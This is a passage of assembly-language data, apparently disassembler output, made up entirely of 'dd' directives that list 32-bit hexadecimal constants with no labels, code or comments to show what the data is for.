		dd 33676EA1h, 0FF65AB6Fh, 6F810C3h, 0F751B3A0h,	0B808E3D6h
		dd 1C50082Ch, 9D017AE7h, 4CCB919Fh, 0E5E7968Fh,	9E2B5ECFh
		dd 0D4B4BF4Ch, 5401A4C9h, 0CD0B7F0h, 7F4B2775h,	0C5A5572Eh
		dd 5191BC9Eh, 90C7168Dh, 3A36334Fh, 958BA616h, 0E75881B8h
		dd 23FBC5C6h, 0EE6DDD15h, 83403653h, 0D37C2B5Dh, 0C30AED5Ah
		dd 0C50C2993h, 218B6EDDh, 0CB80743Bh, 60BD09C1h, 1F6B1D5Fh
		dd 2D679F31h, 57BEF114h, 7F5B23E5h, 131BC496h, 0DF9D3F85h
		dd 56CBE67Ah, 3BD6AAA8h, 73A6505Eh, 153031E8h, 0A23CA8F0h
		dd 1646D05Fh, 0EEF98E72h, 7D8CB649h, 0E627FB0Ah, 0F24D2460h
		dd 0B911905Eh, 0EF219A24h, 0D92FD46Ch, 0E5158E9Ah, 0E91B208Dh
		dd 0DBF1A380h, 885D6EA9h, 43AD620Ah, 3054E2F2h,	389860FDh
		dd 4807DAEAh, 9C14FC63h, 0ECEAB09h, 13A94875h, 0F2477Ah
		dd 0E67D0335h, 653B0C70h, 1B190F7Ch, 89E95A7Eh,	0CF1E9C8Bh
		dd 98E19DCh, 3480090h, 0B791E997h, 2DFBBA9Bh, 0CA24B122h
		dd 0B64DD38Ah, 0F792FDD3h, 6E841608h, 43D810FDh, 0F99083E0h
		dd 0B603B433h, 3FF82FA0h, 4A0A2386h, 8AC959F7h,	68BDB3D3h
		dd 3379C26h, 43E4C75Ah,	0FF28C76h, 0FA14BA20h, 0B0286F02h
		dd 151668BCh, 3EACAD04h, 0BFF43CF2h, 7E38D0D0h,	53450B5Dh
		dd 839A7937h, 43F55716h, 0F7E38571h, 0CE684778h, 54B2D767h
		dd 22A5B2EDh, 77C2D871h, 0B30B7268h, 0C3F908DDh, 0A6554E4Eh
		dd 0E2FF5D49h, 0F4DFA30Ch, 5D78379Dh, 859320CBh, 7E41DC41h
		dd 795736E9h, 0EF56E5B3h, 0A4804B47h, 0F54B7D09h, 17E73694h
		dd 0AE27CCF1h, 3D7FAF6Dh, 0A213FB5Ah, 187D3D3Dh, 891CE42Ah
		dd 0F7CE1A22h, 0ED752015h, 689BF7B1h, 45CE0968h, 0B9384425h
		dd 0DE06DFEBh, 0D7D2A820h, 0B1872D8h, 0EECDD5BAh, 4415FD9Ch
		dd 2336E7C1h, 3F98CCB3h, 116041C4h, 0F2E6D34Fh,	67BEC793h
		dd 0CB38DBFFh, 55DC5D2Ah, 0E9115Fh, 0A914D4F4h,	0C757125h
		dd 0A340B17Dh, 0B3F66D1Ch, 61C1C39Eh, 91C42CF8h, 0D9E71C20h
		dd 49D6C1DAh, 42E19A32h, 0BE693D49h, 3EF6135Ah,	0A924553Dh
		dd 0B1780E83h, 60D9ADE0h, 149037B8h, 7E587129h,	6772EDF8h
		dd 0CE3A78CFh, 8B6300ACh, 0C2FB9D8Eh, 84D6693Fh, 0E261F568h
		dd 2F8CF131h, 57A86D2Eh, 158F7816h, 0EFEC224Eh,	99527339h
		dd 565F5D7Bh, 26131DB5h, 0E753204Dh, 0F86EEB6Eh, 13218125h
		dd 44A01171h, 533BFE09h, 5230A464h, 7B90E952h, 59F38277h
		dd 1B4154CFh, 86D39885h, 753DFBD2h, 0E1B1849h, 5C64B597h
		dd 9FA16871h, 6A59CA58h, 5407865Ah, 0DC36CE3Bh,	66B76E12h
		dd 0EE667723h, 0CE92C021h, 0D5C8D328h, 0FEAA85CDh, 44559E8Ah
		dd 625854Fh, 3285503Ch,	325FB7CFh, 0F58F999Eh, 525A956Ch
		dd 655835EFh, 0C748993Dh, 86C1B677h, 0EB1D504h,	0FFDF213h
		dd 0CADE1F89h, 2E547AF4h, 0B8742410h, 1B08CD93h, 6F1EC6DCh
		dd 0D85A5FD4h, 3BDEBB9Ch, 5D3C6B8Ah, 0FB31CD1Dh, 0FA919590h
		dd 5CAD3DC2h, 0C4CF638Ch, 2E2B9C88h, 0A486057Fh, 0DE07475Fh
		dd 0FF625AD0h, 0AC4D9A22h, 47C61CDCh, 0A618CB06h, 0F63520DBh
		dd 32DE4563h, 44356A0Dh, 0D5968A51h, 7A30959Bh,	0FD0AB949h
		dd 0EB4E4304h, 6B2D8EF6h, 0C1AEB3E2h, 0B97A43BDh, 0A9D63F53h
		dd 6C998F37h, 2E409A3Ah, 71148B2h, 0F26C71A1h, 931DAAC9h
		dd 4E90881Bh, 8099727Bh, 0AF6630F7h, 895F60D2h,	17BD4E6Dh
		dd 0EC72091Ah, 38774D22h, 592656AAh, 4DA13E8Bh,	18729194h
		dd 0C2F3AA47h, 0B3BBFD07h, 0CED0EE5h, 0C4062251h, 62810131h
		dd 95E14657h, 376A17DBh, 26637AADh, 7F73E558h, 0DCE440D5h
		dd 7EEA07E7h, 0E0E45C3Bh, 0A050CE00h, 56480740h, 3E105B1Ah
		dd 0DA2674BFh, 7BB6E091h, 0E32801BAh, 392EE637h, 78B0AB8Eh
		dd 0BEDD8872h, 49E595B9h, 0B089A900h, 0DA2778D5h, 8461762Ah
		dd 9F6C93AFh, 4041177Eh, 0E2128D82h, 9B477D99h,	0F92B8CC8h
		dd 6B934A8Dh, 4E9A9179h, 223D21C0h, 2E340939h, 0C19EAC4Ah
		dd 936DF383h, 44E3AECBh, 2EF372CFh, 0BF04653Eh,	0BDAB33BDh
		dd 4319418Dh, 2FFA8C57h, 8E6E90A8h, 4DFA1D0Dh, 690EA8ECh
		dd 303A2CF6h, 0ABBFFFD0h, 0E394C67h, 171F6DF8h,	4ADCC648h
		dd 9787A125h, 1BD2767Dh, 10C2B45Bh, 4B3FA177h, 434C5C8Fh
		dd 0FF2E4BDEh, 55E1DFF8h
		dd 7A705AF8h, 5E7B0AB6h, 8BCA6D4h, 529FE3D6h, 33AA3EFFh
		dd 0D335218Eh, 87A54442h, 0B2B47BD7h, 915D8D93h, 976384B2h
		dd 0F05EE87Ah, 0C09654DCh, 6F29A014h, 0AC041466h, 0BFAA6DADh
		dd 1D5B593Ch, 729CBE41h, 99C49685h, 0F752F9D9h,	2C05CF55h
		dd 387D59D5h, 0D52D4E92h, 0A1C22B72h, 0AA583D78h, 0E27FEB9Dh
		dd 0E7116328h, 0CCEC32ADh, 2EF67E2Eh, 32C88E4h,	0E3937D11h
		dd 7C6B49B7h, 2B6DDED8h, 792A62F7h, 9BE9682Fh, 4C0D0544h
		dd 86810D65h, 0FD56F81Eh, 87667680h, 972EECEBh,	0DC1B34FDh
		dd 1ED4D465h, 717D1FDBh, 0BB94A965h, 2FF38768h,	0DBC6325h
		dd 0FE43A9D1h, 0ECC99066h, 4709C2CAh, 7160A6D4h, 2810864Ch
		dd 0ECD28CE3h, 985D404Fh, 0EA037F1h, 56E13198h,	0A9CE9538h
		dd 5C0FF0A5h, 0D2E307BBh, 72B9137Ch, 145AC93Bh,	0CFB6DF51h
		dd 44CC7567h, 0C3B45B7Eh, 7F7DCE49h, 0B18848BCh, 0CBE3AF1Bh
		dd 968504B5h, 0EF4B1942h, 0BF088064h, 1AFC84E5h, 0DB572755h
		dd 2A4D38CCh, 7636C2F6h, 0E067FB6Fh, 54959E2h, 0C4AE5786h
		dd 733D105Ch, 4703100Ch, 429FE8E8h, 14A4EEAFh, 48C00FBBh
		dd 0CA1335A7h, 0B498925Ch, 5A187819h, 0F359D3F8h, 2DF481AAh
		dd 74CE5333h, 37BAA407h, 0BBD94AFBh, 8779C7F4h,	3C9DD4Eh
		dd 1B0CA90Ch, 2F616045h, 0FE298762h, 6FBD67Ch, 801EC2EBh
		dd 0A8901B93h, 438F6C88h, 69784473h, 0BE1D261h,	0BFE0DAE5h
		dd 5B00B854h, 0E62E4444h, 0C5999B65h, 0E0FCBF6Eh, 1C8B679Ch
		dd 0D331A0D4h, 0AC5CC435h, 0C44E351h, 3128DD02h, 1BC98C6Ch
		dd 0EE8213D6h, 9274F0C3h, 5D59EDD0h, 7430F654h,	0DD8B3E79h
		dd 9F772E2h, 5F305813h,	3D9BD200h, 4AE0B77Ch, 0F0871567h
		dd 82F4329Fh, 9388D47Ah, 0B4535D97h, 210AD0D7h,	6DDD48DDh
		dd 0B77314A8h, 0B73AE332h, 6AE5BDBFh, 4468F88Ah, 0A5C5B2CEh
		dd 0D73D90B6h, 57055A28h, 0DF6DD9Eh, 50FA2017h,	5BC14304h
		dd 0C4103C19h, 0A4F92D56h, 32D641B3h, 0BB395AECh, 553E0191h
		dd 0CF56F8A9h, 920FC4C9h, 0BFA8FC32h, 328AB419h, 8508B012h
		dd 4A323D2Bh, 7540DB39h, 398ECACCh, 0CEF89419h,	5502C14Bh
		dd 1B358A28h, 13E8E71h,	0C81AC282h, 4366F22h, 76E360BCh
		dd 62F3DE8Bh, 21676E12h, 0D4C1F9D1h, 2165998Fh,	843D9252h
		dd 3FE62B0Ch, 3E108889h, 0F398A126h, 828B4D26h,	9C7BEF98h
		dd 5299689Eh, 0FB848087h, 91366688h, 3A83DDD1h,	57397391h
		dd 0A88154F5h, 5A3CFB09h, 283483B7h, 5CE6AB45h,	0EFE7750Fh
		dd 6CFD5CBh, 98706F3Fh,	6B89EB2Eh, 0B4843297h, 2BA92A8Fh
		dd 731192A8h, 0CFE63216h, 0D381CEDCh, 0B99F2F39h, 0B17756A0h
		dd 508EF438h, 516DCEFDh, 490F9ADBh, 69010426h, 0B30F3020h
		dd 83829930h, 7C8AAC01h, 0B4C97F2Eh, 1557FAF4h,	0D85FFB62h
		dd 414B0F4Ch, 3D2EB7D9h, 5350E54Ah, 0E46B9E86h,	4673DFF6h
		dd 0C34EEC2Bh, 654C9B79h, 0A6589460h, 58EFA4E3h, 0D765E005h
		dd 463EDF12h, 0F6039E14h, 3410B3AEh, 0A9E941BDh, 7224C86h
		dd 0D62AAC46h, 86ECCD5Dh, 2B8DDE25h, 6697A10Bh,	677C9200h
		dd 3A264A10h, 8B54B076h, 4062DC13h, 1AF4F39Dh, 1D201BA3h
		dd 0B4997A66h, 6B91CACh, 0AB5C2FE2h, 40F38606h,	11483616h
		dd 8105C2F8h, 0FD23CA67h, 941E2ED4h, 85243917h,	94A6CAh
		dd 6FA6CD0Ah, 0FA2E6BE2h, 417E8328h, 490AC468h,	0B8B96658h
		dd 0F0A0CD7Dh, 2BF8D513h, 0FD98273h, 0E517577Fh, 6B26CDBEh
		dd 30B250A3h, 19F0DCEDh, 842FB600h, 8473EF1Eh, 3E2FCDF9h
		dd 390DA0F5h, 9BC07F99h, 637DC745h, 811431D0h, 0C9BBA99h
		dd 4E48EA07h, 2B88CE43h, 0C0BDE28h, 19B3703Ch, 71EC782h
		dd 0EB266571h, 0C154C734h, 0E8FBD739h, 0BBD5FE2Ah, 0B7155545h
		dd 0E4CA6BEFh, 0C802DACFh, 0F53AF103h, 0D79DF878h, 0F1890867h
		dd 0D5987E8h, 21286A38h, 34F23EEh, 0A2A1C231h, 0E2E38165h
		dd 3B831959h, 6AEA888h,	75910036h, 2412328Eh, 67CBAA8Ch
		dd 0FA867B26h, 9568E5A7h, 0E25ABFABh, 0BB410222h, 0C51D4AC2h
		dd 0ABC9A94Ch, 846D6527h, 3E74F2C6h, 0A08EF09Fh, 2245419Fh
		dd 0FEAD57B9h, 8CD6975h, 73ACC2DFh, 0B75341CAh,	20AA665Bh
		dd 0E301D44Ah, 0BC5A94C3h, 0F89F1F62h, 6F0B7A7h, 0AF3BD13Dh
		dd 8521125Fh, 0C0B5ACF1h, 28BB48DCh, 882956D5h,	5798DE28h
		dd 563A5F43h, 528E91A7h, 38C907C8h, 0A3EAEAD1h,	470D645Ch
		dd 0F8B913F5h, 0A60D8DDCh, 916E7C07h, 0FA01F389h, 0C2B30C97h
		dd 3DF9A38Bh, 25971999h, 0E822E537h, 0BE85D02Dh, 688972C9h
		dd 0D799F7B6h, 69346975h, 439C9222h, 9A662D60h,	45C7CAC8h
		dd 0D49953AEh, 13341C32h, 64A8B803h, 1F3EC9ABh,	4FF8C405h
		dd 95050DEh, 8435F36Ch,	4B4DB870h, 6857FF58h, 0D3DC3D7Ch
		dd 310BB62Dh, 3D12F35Fh, 25DEACBBh, 22B4B8C4h, 0D690D977h
		dd 0C1A12169h, 0CFDECAEBh, 6151E857h, 9C6D581Ah, 0E5526676h
		dd 12BA4CD7h, 4D8A993Bh, 0F89BE0ECh, 4F4A7ED6h,	3D4E38BBh
		dd 24EB6558h, 14C3CE86h, 0BDADAD70h, 32D6D82Ch,	6CB92283h
		dd 9BC55B6Dh, 0B7CC7DC5h, 51F4BE58h, 15FAC4BFh,	0F97668A2h
		dd 2EBF867h, 0C984F77Dh, 0D8B4430h, 5EB0F18Ah, 4700D12Eh
		dd 0AE2D4F98h, 6CCACBDh, 772C9192h, 39829539h, 143867EBh
		dd 99CDD12Ch, 0E843CAA3h, 0B56CF4D6h, 4A99C152h, 34BB0EB2h
		dd 180F4B42h, 2E5B0812h, 0B32093Bh, 0A60C63E7h,	472D830Ah
		dd 0E697BEC2h, 50C5500Ah, 173D49C0h, 605C736Fh,	0E332A5A3h
		dd 0BE40DE36h, 0F6A31189h, 5CFAC2A5h, 0D0A35C87h, 404EF197h
		dd 0D66CCED8h, 0D3846794h, 8FA1D790h, 0D7056927h, 272555CAh
		dd 6841A93h, 0ADD37E89h, 6BE52DAFh, 0C3F2BB0Ch,	85D29C3Bh
		dd 99775397h, 54F45D67h, 0B598B22Bh, 1059DBA3h,	0EE85E64Bh
		dd 83E62454h, 49EF1C92h, 0B7D83A8Bh, 0C92B1137h, 8D582910h
		dd 7F7D0EB8h, 357A6A87h, 6C27F32Eh, 36773A9Eh, 76B1E5FBh
		dd 86611508h, 5B0EBD6Ch, 45B7E381h, 0C85AC25Dh,	1BDAC096h
		dd 0EAF29057h, 76CF6351h, 63928B80h, 0B4AE6B54h, 6ECC1858h
		dd 0CB8C4BD9h, 0A060345Dh, 0B3FA9C05h, 0E5A1E04Dh, 0DB4070Ah
		dd 1347ACD5h, 75876E6Dh, 6854841h, 7CCDBBD5h, 77A6E947h
		dd 4A489BF1h, 0D7D1B138h, 0EE152207h, 3B4D70BBh, 1B0CA7B4h
		dd 4281DEF0h, 1917AB59h, 7DB37372h, 0B58D3400h,	0D92A2E25h
		dd 14C1C15h, 4383424Dh,	562FC8E6h, 2E3718A8h, 260E20AEh
		dd 631DEE55h, 0C36E593Eh, 0AE3D21B5h, 2E971C3Ah, 0D2CAEEF8h
		dd 1742B8FCh, 0BDBCEF4h, 0ED42D0DDh, 89D601E1h,	0E6D09CDAh
		dd 0FDDC2CB3h, 6A9CBE7Ah, 0C0AF38CCh, 0A06345A1h, 5D8312ADh
		dd 2BC31355h, 166D518Bh, 308ECB40h, 54117D85h, 0B8178E5h
		dd 0DF482018h, 85CDED63h, 5F907D7Eh, 1D4CBE10h,	6010473Ch
		dd 4AB73298h, 62F57BE9h, 9E813CD1h, 0F4E45FDEh,	10F1EA95h
		dd 0DC56B5D0h, 0B3053A90h, 7258A822h, 0B5AEAF5Bh, 0FB4BB517h
		dd 0DB32211h, 0AD48A27Fh, 24987073h, 0E60D3A59h, 91CB127Bh
		dd 0C2EC8429h, 0C4F2A73Dh, 0EDF0B208h, 0CFC6BE1Dh, 1956A704h
		dd 1CBA33C7h, 43CE9BBh,	0E2922ACh, 5F034BF1h, 5DCCE8ABh
		dd 1BC89ECDh, 106DCBC5h, 9F53854Ch, 0C44A73EAh,	6833C8FFh
		dd 4C430DFDh, 9DFE45B7h, 98470ADCh, 0C0615258h,	54C121BBh
		dd 12B8529h, 117C4F1Bh,	6B04B0AEh, 606E430Bh, 25ED071Ch
		dd 0F4587B4Ah, 20B303Ch
		dd 0F0471661h, 0D10DA1D4h, 795D1EB4h, 3350C0A0h, 0F876D3E2h
		dd 5C38C0C4h, 5026CEA2h, 778DA103h, 48D6F23h, 0D0B2DEC3h
		dd 736E9E57h, 91F748A3h, 1C372FF2h, 6BFA2DA1h, 13212AC0h
		dd 0BC7CE6ABh, 9442003Ch, 0EAFECA74h, 0E2A2C3CAh, 83A8E032h
		dd 6C200F2Fh, 0A5D053D7h, 0BAC3FFB3h, 0C97B94h,	4000AF89h
		dd 7CE2041Ch, 4D7EF62Ah, 0CD306BF2h, 8C6F4D69h,	0ADD39899h
		dd 0A4D21023h, 0EC995D0Bh, 0F038913h, 0EEF1F90Ch, 8A23DCE7h
		dd 0BFBAF111h, 4D298256h, 2138D782h, 1F5AF0D6h,	526FDA19h
		dd 23613741h, 5E275D1Ch, 485C3169h, 3C614559h, 9902DC6Ah
		dd 2ACA169Dh, 2BBA1A99h, 912DD096h, 0F618058Fh,	9CB9FFB8h
		dd 0C1E398EBh, 59B01F5Fh, 6682F239h, 0FBAD39EFh, 0C9ECD1ECh
		dd 0FF4E3544h, 0A573FD0h, 0EC4441AAh, 52BA691Bh, 0A834B197h
		dd 4AE819E0h, 0AD23AA22h, 8727D9EAh, 0D5727CD9h, 5BDE7F30h
		dd 2C73CE19h, 0AB2DEF0h, 51891F87h, 17AE1F8Bh, 0A989F86Bh
		dd 6325102Eh, 0C655291Ch, 6E8A7903h, 7184EC46h,	0F541F0EFh
		dd 0CCB9691Eh, 5372817Dh, 0D5A90FD5h, 2565D2Ch,	71752B66h
		dd 3C88A573h, 0F6CAA048h, 2A5E5EA0h, 8D169CF3h,	0A828C3Dh
		dd 0AF896648h, 421D90BEh, 412337C5h, 255110FDh,	3F03D6F8h
		dd 0DE56882Fh, 650A061Ch, 86BF57F8h, 88C30CC5h,	564C6390h
		dd 0EBAF139Dh, 0B7D82A98h, 296BBF6Eh, 0F63F4B6Eh, 0E028C847h
		dd 9170B1DCh, 74D0732Bh, 92F4DB31h, 0BE888D59h,	0E3824AAh
		dd 0DB0B5FA8h, 8B16D27Ah, 5D56791Ch, 0C452FF25h, 0C2F3878Eh
		dd 0ABBAE860h, 44F7DF3h, 0AD56D919h, 0DF2744D8h, 45C9C77Fh
		dd 0D2593198h, 7A813067h, 0B828A43h, 0EBE833BDh, 3F2EC425h
		dd 8D4BC0B3h, 2772FE65h, 1E9CC8F6h, 445B9643h, 3AB1B5ABh
		dd 9A97A333h, 989433FEh, 5CFF55DCh, 766B3319h, 0F508908Fh
		dd 0FCA66F35h, 9C488058h, 156C96C2h, 8F8F72C0h,	0D9D57120h
		dd 13277884h, 512EB364h, 711F7FE4h, 5DAE1625h, 0B599C4CAh
		dd 6315043Fh, 0EB828708h, 809FAA4Dh, 64F66EDh, 4D40EFBBh
		dd 0F654AC3Dh, 0A8EF6DECh, 693FCE55h, 4F2E1B83h, 0A7BB6033h
		dd 2A77D55Dh, 27B45AD8h, 627372A9h, 814B83AEh, 0E1FC60Ch
		dd 0C29343A1h, 2F6D7B57h, 0BB01F9D0h, 87B82E3Bh, 0AE90740Dh
		dd 20D9AFDAh, 794FA79Eh, 4D94B24Eh, 90D8C30Fh, 8B96E15h
		dd 3D9C8AA3h, 0F0C9F999h, 3F1B135h, 2D793FF1h, 0F028249Dh
		dd 0DA8F6D1Ah, 0C7B1D18h, 0E545D1Bh, 5347E004h,	63FF2E53h
		dd 572CF841h, 8F94FF25h, 91940E4Fh, 8B8ED192h, 81FDE18Ch
		dd 0F6E0A96Bh, 611703F9h, 0F2AA71B6h, 0DBB3BC5Fh, 0E7200BE2h
		dd 672B7CFBh, 0C87CDFEBh, 3F2C5C7Ah, 0B803B7AFh, 8E6AD276h
		dd 5B6AD994h, 691A0FFAh, 0B2BDC5D2h, 343B6834h,	245018E0h
		dd 5F08D374h, 0F9153A1Ah, 7DDA1831h, 4F176975h,	17113D80h
		dd 92F3D08Bh, 8BA65AAh,	673DFFE2h, 0D582DA6Ah, 0CADDCF9Fh
		dd 48418D71h, 0FD7018FCh, 0E2BAD1FFh, 3AEC103h,	0A7FDC287h
		dd 7C66EF41h, 389265C4h, 21F12C1Eh, 0D72FF7D3h,	6EEA2931h
		dd 0B03A9310h, 185D5C3Eh, 28D068EFh, 8E48C1F9h,	697E2E55h
		dd 0EF6F9EFFh, 6CC9351Dh, 0FEE7D108h, 0CE911309h, 0E9C66702h
		dd 0AC9054Bh, 7AD05F93h, 0D173889Ch, 0C2A7CE48h, 0A94950A5h
		dd 85696BD2h, 9416BD9h,	202C3631h, 0D8902C65h, 64CFA124h
		dd 2BA50156h, 33E95F00h, 78ECFD9h, 7DA15FBh, 0A3A941C7h
		dd 0B906E600h, 4E0B474Ch, 0DA1F2D46h, 48EB4C3Dh, 7DA1C4CDh
		dd 0F4D3BC8Dh, 5A8859ADh, 0F12809F3h, 0E28B554h, 0E30D3C1h
		dd 8425D4CBh, 8E03A644h, 1CE981E6h, 2F740963h, 9328C647h
		dd 0A88513D2h, 0B1374D55h, 23D45D81h, 4637F07Eh, 86FBB817h
		dd 0C481EE3h, 0B0C43F24h, 0B2238604h, 3FB4AABh,	0C83AD445h
		dd 620A08CCh, 7D4B20FFh, 0EFFF176Eh, 0B6CC598Fh, 81C9998Dh
		dd 9F3E685Ch, 5F41467Ah, 0FB31268Ah, 0C2AE620h,	2A1DD8E0h
		dd 5CA219F9h, 138E25DDh, 0E17C8748h, 0F0511746h, 0A0B72A54h
		dd 4ED6D3A2h, 0C46CAAB1h, 52A866B0h, 95130B8Bh,	51D06AB3h
		dd 7BA4EA0Fh, 1AB63F23h, 31671D9Eh, 33AA3F4Bh, 0FEBE019Eh
		dd 0CB39CFEEh, 5292CEFh, 8348E0C9h, 0BD1D00B2h,	7AE71A60h
		dd 6E3B339Bh, 6FEBE72Fh, 0BAA2A98h, 0F99E3DE6h,	855141CCh
		dd 1AAE19D4h, 13F2DEC7h, 0FC39C17h, 2F1C28CAh, 0B1156037h
		dd 0D984E2F6h, 7B0C0085h, 0F68334DFh, 519653CBh, 0A730A3D8h
		dd 0C41D76F8h, 6191323Ch, 0E9CC4E33h, 0B33E9D71h, 0AC8FA39h
		dd 1CCA0F93h, 4B8DEADAh, 0A9329787h, 75D24BCh, 9CA5E519h
		dd 0F7CFB6C6h, 982D52A1h, 0DC437DFh, 0B6954DF4h, 7A73AB2Ch
		dd 0D5D63CBAh, 0A868D935h, 6D45C006h, 21477601h, 6458FF47h
		dd 73A04F0Dh, 0E679DFE0h, 0EA369E36h, 0B971D157h, 9B0AF4E8h
		dd 0EE2F9B74h, 1665184Ah, 8362318Eh, 0EF456963h, 0AF23D6CEh
		dd 8B487AF9h, 0E98D52B0h, 0CD993A61h, 0F5448A3Ah, 0CB930B1Ah
		dd 13B2CFDCh, 0B84F74D3h, 2F62EAC4h, 2ACA8B59h,	0E28AC57Dh
		dd 51201F51h, 7DFD9B45h, 2500D6FAh, 19AAFBBCh, 0E9030FFEh
		dd 0A3CC5C78h, 4E71D938h, 88B10E6Fh, 4F265D59h,	3C1DB478h
		dd 163BC06Fh, 8B19D8D1h, 6603DF0Eh, 0DF09FD33h,	6EF65E1Ah
		dd 54ABDEFBh, 0A0451B5Ah, 0B227AF11h, 4188D2BCh, 0D7CFAF95h
		dd 0F4C4EE2Dh, 0A28A64EEh, 7F4B1BB4h, 0C135E185h, 0DA99105h
		dd 0DBE82468h, 846E0B4Ah, 35561C0Fh, 0C43BBC57h, 25B83FC5h
		dd 9F7FC1E9h, 0C1D0A486h, 2943323Dh, 1A30F712h,	61FDE77Dh
		dd 0D080F0B7h, 0FA8D204h, 422EFC8Ch, 87D10EDEh,	8A4ED106h
		dd 730CA14h, 0A6633989h, 7C89A19Ch, 7939C33Ch, 185D298Ah
		dd 0AD93B55Eh, 9913DCAAh, 13D219F7h, 7A4C7D52h,	0FF19A424h
		dd 6DA00C63h, 26848B6Bh, 995EAFB3h, 1F09C18h, 2D4561C1h
		dd 6A731929h, 805D4A8h,	0F8F27E8Eh, 0E98105D5h,	0CD99B05Bh
		dd 910C28A4h, 6AACAB1Bh, 759E2094h, 8318BFD9h, 18D2B39Ch
		dd 0A3AF187h, 0A83AF2C6h, 5711D37h, 4711F708h, 0DFEB7336h
		dd 0EE3D89BEh, 0C103A905h, 0A154DC1Dh, 7EC54D0h, 5CEDAFBCh
		dd 0BBC0BDE6h, 0C23F07ABh, 255CB2D7h, 0E553C74h, 3665E81Ah
		dd 0A88A7F4Fh, 0B5D2C73Eh, 9186C84Ah, 29E2A54Fh, 0EFF9386h
		dd 6E91ED4Dh, 60A6DE23h, 3E4951FEh, 6B859160h, 0B0566328h
		dd 39F26DCCh, 8E52B176h, 751708D1h, 653CA2A9h, 79D54810h
		dd 7F947936h, 4ABDCEB9h, 0C0B21217h, 92340370h,	16B6E8D9h
		dd 0C5D7E02Fh, 7C070CA9h, 118D2A53h, 0F8DC395Dh, 2F88D5C1h
		dd 0D02BEC9h, 505257E6h, 70219279h, 720C2997h, 0B8235F7Ch
		dd 0FBAB004Ch, 53E2032Dh, 5D1EC7ABh, 874D16A9h,	23FB74EDh
		dd 72E465C0h, 7913C731h, 0ACED5701h, 0E7CC3C66h, 1FA1F015h
		dd 3BD902CFh, 80D1FB28h, 0F63C941Ch, 0CBCD3EE5h, 5A555Fh
		dd 5A21A7DBh, 24A2B7FEh, 812618C8h, 7796FF8Ch, 0F179FB0Bh
		dd 68000FDFh, 58C9A42Ah, 0A5E5DDDCh, 3D791C1Bh,	968696E8h
		dd 45C9B6D8h, 65CCB84Fh, 8CF85D5Bh, 96BB3367h, 1B4A212Ah
		dd 0D080748h, 65223B5Bh, 57ECA739h, 0D671DF49h,	89FB70FBh
		dd 419D2B62h, 0A9175E1Ch, 0C2D65E7Eh, 2DA421Fh,	45B5D165h
		dd 69EC9013h, 0AE016FA0h, 0A3175E5Ah, 525117D5h, 60C5F99Fh
		dd 1C1C51D2h, 0C3E29186h, 4090F4D6h, 1ACA5D00h,	0EFC96F73h
		dd 0E0A00006h, 5D19045Eh
		dd 613295DEh, 69459362h, 1A3965F5h, 0B88EFC43h,	0D0768AF2h
		dd 1D694766h, 0A4FA97C0h, 0CD3CF9CBh, 0EE80A419h, 0CDDF904h
		dd 22031798h, 11DD21A1h, 3E15DF28h, 0B96738B0h,	0C3327AA6h
		dd 0EE20F41Fh, 2A9C9047h, 0A474EC1Ah, 9F5FAA13h, 0E0277662h
		dd 0B84910A8h, 651FE484h, 578C563Dh, 0D03A1441h, 2DB82196h
		dd 65501C14h, 74F564ADh, 0F90B3803h, 7199EA40h,	251A6956h
		dd 85606B6Dh, 1211A6D0h, 569B8252h, 2C9C6A32h, 2E3D3A7Bh
		dd 81F76026h, 0CE7BDB20h, 18D05A61h, 0A295C5C2h, 0E362C53Dh
		dd 0E13449D0h, 0B159F4ECh, 0BD87472Dh, 7CE6632Ch, 81151545h
		dd 0A527AA55h, 2B0F82E8h, 47F10B02h, 0B7A9228Fh, 0D4703543h
		dd 93BBAA17h, 97216B7Bh, 0D2128CDAh, 7C5C8561h,	16903598h
		dd 0A8F5FBE0h, 10C9745h, 0A294DB12h, 2054AFB8h,	20183AE3h
		dd 0CCE92AC5h, 0D03051CEh, 326C76AEh, 0DF6E7C28h, 2A484B9Bh
		dd 97891862h, 348FC08Fh, 0E6923E47h, 0D640F79Dh, 759032F1h
		dd 6120219Dh, 5324BC1Bh, 0A49833EBh, 13F3E0C1h,	0B410B0A5h
		dd 84550838h, 1B0B4F8Ch, 725AAB3Dh, 10355FAEh, 0ACAE99B8h
		dd 0D93BFB29h, 6F60E7A5h, 439AE9FEh, 0C0E85EC2h, 597A69Ah
		dd 0AF05745Ch, 70A79C91h, 4A0A8C17h, 0AA12F9A7h, 0FFE316C5h
		dd 1B10AE8Fh, 0FCD528DCh, 0C8C5E55Ah, 0AE1723BCh, 289431DEh
		dd 9DEFBFBFh, 42E4E0AAh, 0B0338EBFh, 0D8AB953Bh, 1548D602h
		dd 52E1880Ah, 0DF6A0552h, 0EF9CCBFFh, 72E5FA21h, 654BCED6h
		dd 1144257Fh, 0DB4EC3EAh, 0CF5C09A9h, 85D6A412h, 0BB595B0Fh
		dd 0C4C40F2Dh, 0AD4F4B2h, 0ECBBED79h, 9CD2F4DCh, 0E2F1E295h
		dd 58063CE5h, 81ACE5F0h, 0BFC84BD3h, 0E0055C31h, 17A9C820h
		dd 99C7A814h, 0D5706D76h, 161B7476h, 8880F2E2h,	120947A0h
		dd 45D64CCBh, 0CB46C164h, 0A30E15ADh, 0AE2EC027h, 5CEC2A83h
		dd 4E1A4829h, 35E5D269h, 2C25DDD8h, 7BABE6F5h, 78FF106Dh
		dd 0CD4BB85Bh, 9449A681h, 1700C0B3h, 0AFA9451Eh, 9634A951h
		dd 6CDBC025h, 4553149Bh, 97932F97h, 1C49A133h, 965CDE70h
		dd 7E9CCFF0h, 0ACE5F109h, 1A425D10h, 73D7634Ah,	0F7ED7D03h
		dd 8942259Dh, 0DC43C5C4h, 59E42BADh, 0BA98D87h,	5EAFB821h
		dd 647223E0h, 0EEE58599h, 7E0FE1F5h, 7F27C3B1h,	84499DDFh
		dd 22EE9FF5h, 6BB57716h, 0DAF7E2DFh, 127FDC99h,	6B72F70Dh
		dd 50B08EAEh, 8AC18158h, 0AFEDE2DBh, 0D92F90B6h, 793505B2h
		dd 7B0523D5h, 15DCC7F7h, 985A8D1Fh, 0E0C7F284h,	78B0B4E7h
		dd 0C8EB6EA4h, 0BCA207E2h, 50509B91h, 0C13C4357h, 9024F8D7h
		dd 0C185590Eh, 0F4DFA6A3h, 3CC76B61h, 78EB31D0h, 3D2C9510h
		dd 1F22D2Fh, 15C58CE9h,	63BCBDC8h, 0EC4912E3h, 0C280C9B2h
		dd 0B97EFA49h, 5AEEAD72h, 30DF66Dh, 8DEDC39Bh, 0E8E5C243h
		dd 737F10B8h, 0C272673Ah, 337712B9h, 0F6C0737Ah, 46E7A10Ch
